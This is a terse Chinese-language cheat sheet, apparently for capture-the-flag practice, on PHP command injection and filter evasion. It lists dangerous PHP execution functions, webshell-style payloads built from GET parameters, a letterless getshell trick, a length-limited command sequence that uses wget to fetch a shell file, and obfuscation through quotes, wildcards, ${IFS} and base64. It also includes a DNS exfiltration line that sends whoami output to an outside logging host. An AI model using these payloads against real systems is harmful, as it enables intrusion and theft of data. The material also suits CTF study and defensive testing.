php常見命令執(zhí)行函數(shù)
php代碼 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系統(tǒng)命令代碼 system() passthru() exec() pcntl_exec()shell_exec() popen() proc_open() `` ob_start()
php的動態(tài)執(zhí)行
cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag$e='sys'.'tem';$e('cat flag');
disable_function繞過
1.ld_preload2.php_gc
無字母getshell
取反~?code=(~???????)()//phpinfo()
限制輸入字符數(shù)
>wget\>域名.\>com\>-O\>she\>ll.p\>pls -t>ash a
linux中有查看功能的命令
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、vi、vim、od(以二進(jìn)制的方式讀取檔案內(nèi)容)
windows
1. windows下 “和^和()不會影響命令執(zhí)行2.切割字符 %a:~0,3% 代表變量a 0-3個字符eg. set a=asdfghj who$a:~0,1%mi <=> whoami
通配符
linux windows常見:* :0-多 ? :1[abc] :abc [a-c] :abc[^abc]:沒有abc來了:cat f[abc]lagcat f[a-z]lagcat fla*
字符拼接
雙引號:"w"h"o"a"m"i linux windows單引號: 'w'ho'am'ilinux反斜杠\: who\ami cat\flag linux重定向: cat<>flag cat<flag linux大括號: {cat,flag}linux變量:a=l;b=s;$a$b; linux變量:set a=di&&set b=r&& %a%%b% windows騷操作: 1.666`whoami`666 => bash: 666root666:未找到命令2.who`asd`am`sss`i => bash: ssd:未找到命令bash: sss:未找到命令root
變量
保留變量名 無意義變量$ 123456789${IFS} ${IFS}$9 cat${IFS}flaglinux
編碼
echo d2hvYW1pCg== | base64 -d //執(zhí)行whoami -d 意思是decode linuxwindows可以使用powershell base64
&,&&,|,||在windows和linux中的區(qū)別
&linux:后臺運行 windows: 1 2 同時執(zhí)行1&&2linux windows:1無錯誤運行2|linux windows:上一條命令的輸出,作為下一條命令參數(shù)(輸入)1||2linux windows:1有錯誤運行2
一句話反彈shel
DNS
curl xxxx.ceye.io/`whoami`
借他文之手來獲取字符
借助已有的字符進(jìn)行拼接
利用Linux的環(huán)境變量
echo ${PATH} => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binecho ${PATH:1:1} =>u
聯(lián)系客服